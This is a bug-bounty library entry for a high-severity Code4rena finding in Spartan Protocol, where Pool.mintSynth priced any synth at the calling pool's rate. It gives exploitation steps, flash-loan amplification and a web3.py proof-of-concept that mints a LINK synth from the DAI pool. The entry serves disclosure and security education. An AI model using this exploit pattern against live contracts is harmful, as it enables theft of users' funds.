# arbitrary synth mint/burn from pool

Pool.mintSynth priced any valid Synth using the calling pool's own AMM price, letting attackers mint expensive synths cheaply from a cheaper pool and burn for profit.

- Payout: Audit contest
- Severity: high
- Program: Spartan Protocol
- Found by: jonah1005
- Disclosed: 2021-09-16
- Write-up quality: 8/10
- Original: https://github.com/code-423n4/2021-07-spartan-findings/issues/20
- Library page: https://bugbountylibrary.com/r/c4%3A2021-07-spartan%3AH-09
- Tags: area:web3 domain:web3 impact:funds-loss kind:contest platform:code4rena sev:high tech:evm tech:solidity technique:source-review vuln:accounting-error vuln:business-logic vuln:oracle-manipulation

**Target:** Pool.mintSynth / Synth.mintSynth smart contracts
**Root cause:** Pool.mintSynth accepts any valid Synth address and prices it using the current pool's AMM price, without verifying the synth's underlying token matches the pool's base token.
**Steps:**
1. Transfer base token (e.g. SPARTA) into a cheap pool such as the DAI pool via `base.functions.transfer(dai_pool.address, sparta_amount)`
2. Call `dai_pool.functions.mintSynth(link_synth.address, user)` to mint LINK synth priced at the DAI pool's cheap rate
3. Burn the minted LINK synth at the expensive LINK pool to extract the price difference
4. Amplify with flash loans to scale profit and break pegs
**How found:** Code review of Pool.mintSynth and Synth authorization: noticed the pool never checks that the requested synth's underlying token equals the pool's TOKEN, so any valid synth can be minted from any pool.
**Exploitation:** Attacker supplies base tokens to a low-priced pool, mints a high-value synth (LINK) at that pool's cheap AMM price, then redeems/burns it at the expensive LINK pool for profit; flash loans amplify capital.
**Escalation:** Flash-loan amplification to scale arbitrage and destabilize all synth pegs.
**Insight:** In multi-pool/multi-synth AMM designs, verify the minted asset's underlying matches the pool's base token; otherwise cross-pool price arbitrage lets you mint expensive synths from cheap pools.

## Proof of concept (copied exactly from the original report)

**web3.py script minting arbitrary synth from wrong pool**

```
sparta_amount = 100 * 10**18
initail_link_synth = link_synth.functions.balanceOf(user).call()
base.functions.transfer(link_pool.address, sparta_amount).transact({'from': user})
link_pool.functions.mintSynth(link_synth.address, user).transact({'from': user})
after_link_synth = link_synth.functions.balanceOf(user).call()

print('get link synth amount from link pool:', after_link_synth - initail_link_synth)

sparta_amount = 100 * 10**18
initail_link_synth = link_synth.functions.balanceOf(user).call()
base.functions.transfer(dai_pool.address, sparta_amount).transact({'from': user})
dai_pool.functions.mintSynth(link_synth.address, user).transact({'from': user})
after_link_synth = link_synth.functions.balanceOf(user).call()

print('get link synth amount from dai pool:', after_link_synth - initail_link_synth)
```

